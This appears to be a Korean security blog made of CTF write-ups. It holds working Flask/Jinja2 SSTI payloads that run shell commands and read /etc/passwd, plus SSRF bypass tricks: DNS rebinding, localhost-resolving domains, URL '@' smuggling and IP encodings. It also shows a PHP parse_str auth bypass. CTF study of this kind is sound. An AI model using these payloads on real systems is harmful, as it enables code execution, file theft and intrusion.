'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class 'contextlib.ContextDecorator'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'werkzeug.urls.Href'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.middleware.dispatcher.DispatcherMiddleware'>, <class 'werkzeug.middleware.http_proxy.ProxyMiddleware'>, <class 'werkzeug.middleware.shared_data.SharedDataMiddleware'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'werkzeug.exceptions.Aborter'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class '_pickle.Unpickler'>, <class '_pickle.Pickler'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContextBase'>, <class 'jinja2.runtime.LoopContextIterator'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'concurrent.futures._base._Waiter'>, <class 'concurrent.futures._base._AcquireFutures'>, <class 'concurrent.futures._base.Future'>, <class 'concurrent.futures._base.Executor'>, <class 'multiprocessing.process.BaseProcess'>, <class 'array.array'>, <class 'multiprocessing.reduction._C'>, <class 'multiprocessing.reduction.AbstractReducer'>, <class 'multiprocessing.context.BaseContext'>, <class '_multiprocessing.SemLock'>, <class 'multiprocessing.util.Finalize'>, <class 'multiprocessing.util.ForkAwareThreadLock'>, <class 'multiprocessing.connection._ConnectionBase'>, <class 'multiprocessing.connection.Listener'>, <class 'multiprocessing.connection.SocketListener'>, <class 'multiprocessing.connection.ConnectionWrapper'>, <class 'concurrent.futures.process._ExceptionWithTraceback'>, <class 'concurrent.futures.process._WorkItem'>, <class 'concurrent.futures.process._ResultItem'>, <class 'concurrent.futures.process._CallItem'>, <class 'concurrent.futures.thread._WorkItem'>, <class 'asyncio.events.Handle'>, <class 'asyncio.events.AbstractServer'>, <class 'asyncio.events.AbstractEventLoop'>, <class 'asyncio.events.AbstractEventLoopPolicy'>, <class 'asyncio.coroutines.CoroWrapper'>, <class 'asyncio.futures._TracebackLogger'>, <class 'asyncio.futures.Future'>, <class '_asyncio.Future'>, <class '_asyncio.FutureIter'>, <class 'TaskStepMethWrapper'>, <class 'TaskWakeupMethWrapper'>, <class 'asyncio.locks._ContextManager'>, <class 'asyncio.locks._ContextManagerMixin'>, <class 'asyncio.locks.Event'>, <class 'asyncio.protocols.BaseProtocol'>, <class 'asyncio.queues.Queue'>, <class 'asyncio.streams.StreamWriter'>, <class 'asyncio.streams.StreamReader'>, <class 'asyncio.subprocess.Process'>, <class 'asyncio.transports.BaseTransport'>, <class 'asyncio.sslproto._SSLPipe'>, <class 'asyncio.unix_events.AbstractChildWatcher'>, <class 'jinja2.asyncsupport.AsyncLoopContextIterator'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'uuid.UUID'>, <class 'CArgObject'>, <class '_ctypes.CThunkObject'>, <class '_ctypes._CData'>, <class '_ctypes.CField'>, <class '_ctypes.DictRemover'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.Rule.BuilderCompiler'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.types.ParamType'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'itsdangerous._json._CompactJSON'>, <class 'hmac.HMAC'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'flask.wrappers.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>, <class 'unicodedata.UCD'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'jinja2.debug.TracebackFrameProxy'>, <class 'jinja2.debug.ProcessedTraceback'>]


[].__class__.__base__.__subclasses__()[93]
<class 'codecs.StreamReaderWriter'>


[].__class__.__base__.__subclasses__()[93].__init__
<function StreamReaderWriter.__init__ at 0x7f55e71db9d8>


[].__class__.__base__.__subclasses__()[93].__init__.__globals__
{'__name__': 'codecs', '__doc__': ' codecs -- Python Codec Registry, API and helpers.\n\n\nWritten by Marc-Andre Lemburg (mal@lemburg.com).\n\n(c) Copyright CNRI, All Rights Reserved. NO WARRANTY.\n\n', '__package__': '', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f55e7241c50>, '__spec__': ModuleSpec(name='codecs', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f55e7241c50>, origin='/usr/local/lib/python3.6/codecs.py'), '__file__': '/usr/local/lib/python3.6/codecs.py', '__cached__': '/usr/local/lib/python3.6/__pycache__/codecs.cpython-36.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError': <class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'BufferError': <class 'BufferError'>, 'MemoryError': <class 'MemoryError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2018 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.}, 'builtins': <module 'builtins' (built-in)>, 'sys': <module 'sys' (built-in)>, 'register': <built-in function register>, 'lookup': <built-in function lookup>, 'encode': <built-in function encode>, 'decode': <built-in function decode>, 'escape_encode': <built-in function escape_encode>, 'escape_decode': <built-in function escape_decode>, 'utf_8_encode': <built-in function utf_8_encode>, 'utf_8_decode': <built-in function utf_8_decode>, 'utf_7_encode': <built-in function utf_7_encode>, 'utf_7_decode': <built-in function utf_7_decode>, 'utf_16_encode': <built-in function utf_16_encode>, 'utf_16_le_encode': <built-in function utf_16_le_encode>, 'utf_16_be_encode': <built-in function utf_16_be_encode>, 'utf_16_decode': <built-in function utf_16_decode>, 'utf_16_le_decode': <built-in function utf_16_le_decode>, 'utf_16_be_decode': <built-in function utf_16_be_decode>, 'utf_16_ex_decode': <built-in function utf_16_ex_decode>, 'utf_32_encode': <built-in function utf_32_encode>, 'utf_32_le_encode': <built-in function utf_32_le_encode>, 'utf_32_be_encode': <built-in function utf_32_be_encode>, 'utf_32_decode': <built-in function utf_32_decode>, 'utf_32_le_decode': <built-in function utf_32_le_decode>, 'utf_32_be_decode': <built-in function utf_32_be_decode>, 'utf_32_ex_decode': <built-in function utf_32_ex_decode>, 'unicode_escape_encode': <built-in function unicode_escape_encode>, 'unicode_escape_decode': <built-in function unicode_escape_decode>, 'unicode_internal_encode': <built-in function unicode_internal_encode>, 'unicode_internal_decode': <built-in function unicode_internal_decode>, 'raw_unicode_escape_encode': <built-in function raw_unicode_escape_encode>, 'raw_unicode_escape_decode': <built-in function raw_unicode_escape_decode>, 'latin_1_encode': <built-in function latin_1_encode>, 'latin_1_decode': <built-in function latin_1_decode>, 'ascii_encode': <built-in function ascii_encode>, 'ascii_decode': <built-in function ascii_decode>, 'charmap_encode': <built-in function charmap_encode>, 'charmap_decode': <built-in function charmap_decode>, 'charmap_build': <built-in function charmap_build>, 'readbuffer_encode': <built-in function readbuffer_encode>, 'register_error': <built-in function register_error>, 'lookup_error': <built-in function lookup_error>, '__all__': ['register', 'lookup', 'open', 'EncodedFile', 'BOM', 'BOM_BE', 'BOM_LE', 'BOM32_BE', 'BOM32_LE', 'BOM64_BE', 'BOM64_LE', 'BOM_UTF8', 'BOM_UTF16', 'BOM_UTF16_LE', 'BOM_UTF16_BE', 'BOM_UTF32', 'BOM_UTF32_LE', 'BOM_UTF32_BE', 'CodecInfo', 'Codec', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReader', 'StreamWriter', 'StreamReaderWriter', 'StreamRecoder', 'getencoder', 'getdecoder', 'getincrementalencoder', 'getincrementaldecoder', 'getreader', 'getwriter', 'encode', 'decode', 'iterencode', 'iterdecode', 'strict_errors', 'ignore_errors', 'replace_errors', 'xmlcharrefreplace_errors', 'backslashreplace_errors', 'namereplace_errors', 'register_error', 'lookup_error'], 'BOM_UTF8': b'\xef\xbb\xbf', 'BOM_LE': b'\xff\xfe', 'BOM_UTF16_LE': b'\xff\xfe', 'BOM_BE': b'\xfe\xff', 'BOM_UTF16_BE': b'\xfe\xff', 'BOM_UTF32_LE': b'\xff\xfe\x00\x00', 'BOM_UTF32_BE': b'\x00\x00\xfe\xff', 'BOM': b'\xff\xfe', 'BOM_UTF16': b'\xff\xfe', 'BOM_UTF32': b'\xff\xfe\x00\x00', 'BOM32_LE': b'\xff\xfe', 'BOM32_BE': b'\xfe\xff', 'BOM64_LE': b'\xff\xfe\x00\x00', 'BOM64_BE': b'\x00\x00\xfe\xff', 'CodecInfo': <class 'codecs.CodecInfo'>, 'Codec': <class 'codecs.Codec'>, 'IncrementalEncoder': <class 'codecs.IncrementalEncoder'>, 'BufferedIncrementalEncoder': <class 'codecs.BufferedIncrementalEncoder'>, 'IncrementalDecoder': <class 'codecs.IncrementalDecoder'>, 'BufferedIncrementalDecoder': <class 'codecs.BufferedIncrementalDecoder'>, 'StreamWriter': <class 'codecs.StreamWriter'>, 'StreamReader': <class 'codecs.StreamReader'>, 'StreamReaderWriter': <class 'codecs.StreamReaderWriter'>, 'StreamRecoder': <class 'codecs.StreamRecoder'>, 'open': <function open at 0x7f55e71d7048>, 'EncodedFile': <function EncodedFile at 0x7f55e71de7b8>, 'getencoder': <function getencoder at 0x7f55e71de840>, 'getdecoder': <function getdecoder at 0x7f55e71de8c8>, 'getincrementalencoder': <function getincrementalencoder at 0x7f55e71de950>, 'getincrementaldecoder': <function getincrementaldecoder at 0x7f55e71de9d8>, 'getreader': <function getreader at 0x7f55e71dea60>, 'getwriter': <function getwriter at 0x7f55e71deae8>, 'iterencode': <function iterencode at 0x7f55e71deb70>, 'iterdecode': <function iterdecode at 0x7f55e71debf8>, 'make_identity_dict': <function make_identity_dict at 0x7f55e71dec80>, 'make_encoding_map': <function make_encoding_map at 0x7f55e71ded08>, 'strict_errors': <built-in function strict_errors>, 'ignore_errors': <built-in function ignore_errors>, 'replace_errors': <built-in function replace_errors>, 'xmlcharrefreplace_errors': <built-in function xmlcharrefreplace_errors>, 'backslashreplace_errors': <built-in function backslashreplace_errors>, 'namereplace_errors': <built-in function namereplace_errors>, '_false': 0}


[].__class__.__base__.__subclasses__()[93].__init__.__globals__["sys"]
<module 'sys' (built-in)>


[].__class__.__base__.__subclasses__()[93].__init__.__globals__["sys"].modules["os"]
<module 'os' from '/usr/local/lib/python3.6/os.py'>


[].__class__.__base__.__subclasses__()[93].__init__.__globals__["sys"].modules["os"].popen('ls').read()
flag.txt index.php main.py requirements.txt upload.php


[].__class__.__base__.__subclasses__()[93].__init__.__globals__["sys"].modules["os"].popen('cat flag.txt').read()
TG19{templates_make_a_better_chat}

Hack Zone Tunisia - Some Chemistry 풀이

POSIX — Sun, 14 Apr 2019 19:03:07 +0900

Hack Zone Tunisia 2019 web 4번

SSTI 문제입니다.

접속하면 멋진 플라스크 GIF와

이 플라스크로부터 플래그를 얻으라는 메시지가 보입니다.

소스를 살펴보면 깔끔합니다.

css 파일도 열어봤지만, 전혀 도움이 되지 않았습니다.

http://149.56.110.180:5000/robots.txt

robots.txt

경로 힌트가 있는지 알아보기 위해

robots.txt 파일을 요청해 보았는데

뜻밖의 응답이 나왔습니다.

요청한 PATH가 그대로 출력이 되는 것이죠.

여기서 python-flask SSTI 취약점을 떠올릴 수 있었습니다.

http://149.56.110.180:5000/{{7*7}}

기대한대로 연산이 수행되는 것을 확인할 수 있습니다.

다만 flask 기본 변수인 self, config 를

조회했을때 아무런 결과도 얻을 수 없었습니다.

그러던 중, request path에 /를 지우고 {{}}를 삽입해 보았는데

오류 메시지를 확인할 수 있었습니다.

내용이 길어 일부 생략하였습니다.

메시지를 읽어내려가다 보면 /app/app.py

파일의 내용을 볼 수 있는데

>>> print(secure('{{config}}'))
{% set config=None%}{% set self=None%}{{config}}

secure 함수를 사용하여

입력한 내용 앞에서 config, self 변수들을

초기화 하고 있다는 것을 알 수 있습니다.

>>> print(secure("{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}"))
{% set config=None%}{% set self=None%}{{ ''.__class__.__mro__[2].__subclasses__ ()[40] ('/etc/passwd').read () }}

하지만 그것이 전부이고 추가적인 필터링은 없기에

여타 flask SSTI payload 들을 이용하여

별 문제없이 시스템에 접근할 수 있습니다.

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

오류 메시지에서 확인한 서버의 소스 경로를 입력하면

플래그를 확인할 수 있습니다.

import flask
import os
from flask import render_template


app = flask.Flask(__name__)
app.config['FL44G'] = 'HZVII{n0t_S3cure_fl4sK_4pp}'


@app.route('/')
def index(index):
    def secure(s):
        s = s.replace('(', ' (').replace(')', ')')
        
        blacklist = ['config','self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
    if(flask.render_template_string(secure(index))=='None'):
        return 'Nice Try !!'
    else:

            return flask.render_template_string(secure(index))


@app.route('/')
def index1():
    return render_template('index.html')

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=5000)

HZVII{n0t_S3cure_fl4sK_4pp}

ByteBandits CTF - Online Previewer 2 문제풀이

POSIX — Sun, 14 Apr 2019 18:23:59 +0900

ByteBandit CTF Web 4번

SSRF 문제입니다.

저는 이 문제를 풀지 못했습니다.

풀지 못한 문제의 Writeup을 올리는 것은 처음인데

재미있는 기법이 사용되었으므로, 특별히 기록하였습니다.

사이트에 접속하면 Online Previewer 1 문제와 동일한

단일 폼이 보입니다.

플래그가 숨겨진 장소도 동일합니다.

그럼 검증 방법이 강화되었다는 것이겠죠?

127.0.0.1 을 가리키는 도메인을 넣어도

훌륭하게 막고 있는것을 볼 수 있습니다.

동일하게 로컬호스트로 해석되는 도메인을 몇개 더 넣어봤지만

동일하게 막혀있는 것을 보면

실제로 도메인 서버에 요청하여

주소를 검증하고 있다는 것을 추측해볼 수 있습니다.

이 문제는 기형의 dns 서버를 구성함으로서

해결할 수 있습니다.

위 사진을 보면 동일한 주소에

서로 다른 2개의 A 레코드를 기록하였는데요.

일반적으로 하나의 주소에는 하나의 ip가 할당됩니다만

여러개의 ip를 할당하는 것도 가능합니다.

부하 분산을 위해 대형 서버의 경우

이렇게 구성하는 곳도 많은데요.

이렇게 되면 요청시마다

2개의 ip를 랜덤으로 가져오게 됩니다.

dns 서비스를 제공사에서는

클라이언트 단에서 위와 같은 중복 구성을 막는 경우도 있으므로

개인적으로 네임서버를 구성하시거나

중복 구성이 가능한 사이트를 이용하시면 되겠습니다.

dns 구성 후에 요청을 몇번 수행하시다 보면

일정 확률로 플래그가 출력되는 것을 확인할 수 있습니다.

flag{dNs_c@nT_b3_Tru$ted_258097}

https://graneed.hatenablog.com/entry/2019/04/14/003250
https://jbz.team/securityfest2018/Pongdom

ByteBandits CTF - Online Previewer 1 문제풀이

POSIX — Sun, 14 Apr 2019 18:01:57 +0900

ByteBandits CTF Web 2번

SSRF 문제입니다.

사이트에 접속하면 단일 폼이 보입니다.

주소를 입력하고 제출하면

요청한 URL의 페이지가 표시되는 것을 확인할 수 있습니다.

webhook.site 를 이용하여 해당 요청을 받아보면

user-agent 를 보아

서버에서 python의 requests 모듈을 이용해 데이터를 가져온다는 사실을

알 수 있습니다.

메인 페이지의 소스를 확인해 보면

127.0.0.1:1337 주소에 비밀이 숨겨져 있다는 것을 알려줍니다.

그러나 실제로 접속을 시도해 보면

Can't do that mate. 메시지와 함께 거부됩니다.

본 문제는 제공된 도메인 문자열을 통해

로컬호스트인지 검증을 수행하고 있는데요

실제 요청을 보내 확인하지 않고

문자열만을 통한 도메인 검증방식은

로컬호스트를 가리키는 DNS 또는

와일드카드 DNS 를 통해 쉽게 우회할 수 있습니다.

flag{ev1l_dn$_2750927}

ByteBandits CTF - EasyPHP 문제풀이

POSIX — Sun, 14 Apr 2019 17:46:41 +0900

ByteBandits CTF Web 1번

parse_str 함수 취약점 문제입니다.

링크에 접속하면 parse_url 함수로부터 파싱되는

요청 URL의 ? 뒷부분이 존재하지 않는다면 소스를 출력하도록 되어 있습니다.

parse_str 함수에 의하여 GET 방식으로 제공된 인자는

모두 일반 php 변수로서 변환됩니다.

마치 register_globals = on 를 적용한 것과

비스무리한 결과를 가져오는 것이죠.

sha2('posix') = 270dfabe9df986d649e48acd477c99c30245a25148b53f89b24ee34afcfdaa0f

따라서 get 메소드로 하여금 action, key, hashed_key 변수를

덮어씌워 주면, 인증을 우회할 수 있겠습니다.

http://easyphp.ctf.euristica.in/?action=auth&hashed_key=270dfabe9df986d649e48acd477c99c30245a25148b53f89b24ee34afcfdaa0f&key=posix

flag{exPz_pHp_0b9fd0f8}

Public DNS resolving to localhost

POSIX — Sat, 13 Apr 2019 20:47:42 +0900

fuf.me
localtest.me
127-0-0-1.org.uk
vcap.me
yoogle.com
lvh.me
lacolhost.com
*.local.sisteminha.com

출처

주소 덧붙이기를 통한 Request Forgery 기법

POSIX — Wed, 10 Apr 2019 09:51:14 +0900

http://www.foo.com@www.bar.com/blabla
http://www.foo.com\t@www.bar.com/blabla
http://www.foo.com%09@www.bar.com/blabla
http://www.foo.com%2509@www.bar.com/blabla
http://www.foo.com%0d%0a@www.bar.com/blabla

IP 주소 우회 기법

POSIX — Wed, 10 Apr 2019 09:24:31 +0900

Decimal               : 2130706433 (127.0.0.1)
Omission-1            : 127.1 (127.0.0.1)
Omission-2            : 192.168.1 (192.168.0.1)
Omission & Octal	  : 0177.1 (127.0.0.1)
Hexademical	          : 0x8080808 (8.8.8.8)
Octal & Hexademical   : 010.0x0000008.00000010.8 (8.8.8.8)
Decimal & Hexademical : 8.0x000000000000000080808 (8.8.8.8)

Popular Human Name List

POSIX — Mon, 8 Apr 2019 09:56:40 +0900

Mary
Katherine
Josephine
Ana
Heidi
Patricia
Joan
Thelma
Renee
Glenda
Linda
Ashley
Shannon
Ida
Lydia
Barbara
Judith
Sheila
Vivian
Viola
Elizabeth
Rose
Ethel
Roberta
Courtney
Jennifer
Janice
Ellen
Holly
Marian
Maria
Kelly
Elaine
Brittany
Stella
Susan
Nicole
Marjorie
Melanie
Caroline
Margaret
Judy
Carrie
Loretta
Dora
Dorothy
Christina
Charlotte
Yolanda
Jo
Lisa
Kathy
Monica
Jeanette
Vickie
Nancy
Theresa
Esther
Laurie
Mattie
Karen
Beverly
Pauline
Katie
Terry
Betty
Denise
Emma
Kristen
Maxine
Helen
Tammy
Juanita
Vanessa
Irma
Sandra
Irene
Anita
Alma
Mabel
Donna
Jane
Rhonda
Sue
Marsha
Carol
Lori
Hazel
Elsie
Myrtle
Ruth
Rachel
Amber
Beth
Lena
Sharon
Marilyn
Eva
Jeanne
Christy
Michelle
Andrea
Debbie
Vicki
Deanna
Laura
Kathryn
April
Carla
Patsy
Sarah
Louise
Leslie
Tara
Hilda
Kimberly
Sara
Clara
Rosemary
Gwendolyn
Deborah
Anne
Lucille
Eileen
Jennie
Jessica
Jacqueline
Jamie
Terri
Nora
Shirley
Wanda
Joanne
Gertrude
